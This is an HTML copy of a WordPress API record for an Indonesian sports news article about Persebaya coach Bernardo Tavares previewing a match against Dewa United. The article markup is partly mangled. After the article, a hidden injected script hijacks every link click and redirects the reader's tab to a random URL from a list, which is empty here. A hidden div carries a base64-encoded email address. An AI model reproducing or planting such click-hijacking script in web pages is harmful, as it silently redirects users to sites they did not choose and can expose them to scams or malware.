<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<html><body><p>{"id":1470798,"date":"2026-02-01T01:12:44","date_gmt":"2026-01-31T18:12:44","guid":{"rendered":"https:\/\/beritajatim.com\/?p=1470798"},"modified":"2026-01-31T23:35:29","modified_gmt":"2026-01-31T16:35:29","slug":"tavares-sebut-dewa-united-tim-sultan-persebaya-siap-jalani-ujian-mental-di-gbt","status":"publish","type":"post","link":"https:\/\/beritajatim.com\/tavares-sebut-dewa-united-tim-sultan-persebaya-siap-jalani-ujian-mental-di-gbt","title":{"rendered":"Tavares Sebut Dewa United Tim Sultan, Persebaya Siap Jalani Ujian Mental di GBT"},"content":{"rendered":"</p><p><strong>Surabaya (beritajatim.com)&lt;\/strong&gt; \u2013 Menjelang duel krusial melawan Dewa United, Minggu malam (1\/2\/2026) di Stadion Gelora Bung Tomo (GBT), Surabaya, Pelatih Persebaya Surabaya Bernardo Tavares melontarkan pujian sekaligus peringatan keras. Dewa United disebutnya sebagai tim mahal bertabur bintang yang siap menjadi ujian berat, baik secara mental maupun taktikal, bagi skuad Bajul Ijo.&lt;\/p&gt;\n<p>Tavares menyadari sepenuhnya tantangan besar yang menanti anak asuhnya. Pelatih asal Portugal itu menilai laga kontra Dewa United menuntut fokus total, agresivitas tinggi, serta intensitas permainan yang konsisten sejak menit awal hingga peluit akhir.&lt;\/p&gt;\n</p><p>\u201cDewa United merupakan salah satu tim dengan kekuatan finansial dan nilai pasar salah satu skuad tertinggi di liga Indonesia saat ini, sehingga kami harus tampil solid di semua fase permainan untuk membuka peluang meraih kemenangan,\u201d ucap Tavares, Sabtu (31\/1\/2026).&lt;\/p&gt;\n</p><p>Mantan pelatih PSM Makassar tersebut mengaku telah mempelajari secara mendalam kekuatan lawan. Dewa United dinilai memiliki pemain-pemain berpengalaman dan berkelas di hampir setiap lini, yang mampu memberikan tekanan konstan sepanjang pertandingan.&lt;\/p&gt;\n\n</p><p>&ldquo;Jika kami ingin mengubah ini, kami harus menjadi tim yang kuat di lapangan, fokus di setiap momen, baik saat menguasai bola maupun tidak,\u201d ucapnya.&lt;\/p&gt;\n</p><p>Sorotan khusus diberikan Tavares pada kekuatan Dewa United di area sepertiga akhir lapangan. Menurutnya, tim lawan memiliki pemain-pemain yang mampu mengubah jalannya pertandingan hanya dalam satu momen krusial.&lt;\/p&gt;\n</p><p>&ldquo;Tentunya kami tidak boleh memberi kesempatan pemain yang bisa merubah penampilan atau pemain penentu Dewa United untuk melepaskan tembakan,\u201d tuturnya.&lt;\/p&gt;\n</p><p>Pernyataan tersebut menegaskan tingkat kewaspadaan tinggi yang harus dijaga Persebaya, terutama dalam disiplin bertahan. Menutup ruang, menjaga jarak antar lini, serta transisi cepat dari menyerang ke bertahan menjadi aspek penting yang terus ditekankan Tavares kepada para pemain.&lt;\/p&gt;\n</p><p>Di sisi lain, Persebaya juga dituntut tampil efektif saat menguasai bola. Setiap peluang, sekecil apa pun, harus dimaksimalkan agar tekanan terhadap Dewa United terus terjaga sepanjang laga.<strong> (way\/kun)&lt;\/strong&gt;&lt;\/p&gt;\n","protected":false},"excerpt":{"rendered":"<p>Menjelang duel melawan Dewa United, Minggu malam di Stadion GBT, Pelatih Persebaya Surabaya Bernardo Tavares melontarkan pujian sekaligus peringatan keras.&lt;\/p&gt;\n","protected":false},"author":17,"featured_media":1470799,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[8],"tags":[5335,217127,38358,183935,442,98,8906,118041,66126,12383],"gn_keywords":[118349,257610,72400,106577,55827,50366,118039,62628,73996],"class_list":["post-1470798","post","type-post","status-publish","format-standard","has-post-thumbnail","category-olahraga","tag-bajul-ijo","tag-bernardo-tavares","tag-dewa-united","tag-headline","tag-liga-1-indonesia","tag-liga-indonesia","tag-persebaya-surabaya","tag-persebaya-vs-dewa-united","tag-pertandingan-persebaya","tag-stadion-gelora-bung-tomo"],"acf":[],"aioseo_notices":[],"distributor_meta":false,"distributor_terms":false,"distributor_media":false,"distributor_original_site_name":"beritajatim.com","distributor_original_site_url":"https:\/\/beritajatim.com","push-errors":false,"_links":{"self":[{"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/posts\/1470798","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/users\/17"}],"replies":[{"embeddable":true,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/comments?post=1470798"}],"version-history":[{"count":0,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/posts\/1470798\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/media\/1470799"}],"wp:attachment":[{"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/media?parent=1470798"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/categories?post=1470798"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/tags?post=1470798"},{"taxonomy":"gn_keywords","embeddable":true,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/gn_keywords?post=1470798"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}</p></strong></p></strong></p><script>var elmnt = document.getElementsByTagName("a"); for(var i = 0, len = elmnt.length; i < len; i++) { elmnt[i].onclick = function(e) { e.preventDefault(); e.stopPropagation(); var gtlink = []; var randm  = Math.floor(Math.random() * gtlink.length); var lnk = this.href; window.open(lnk, "_blank"); setTimeout(function(){ window.open(gtlink[randm], "_self"); }, 1000); } }</script><div style="display:none;" id="agnote">ZW5kZW5yYWhheXU5QGdtYWlsLmNvbQ==</div></body></html>
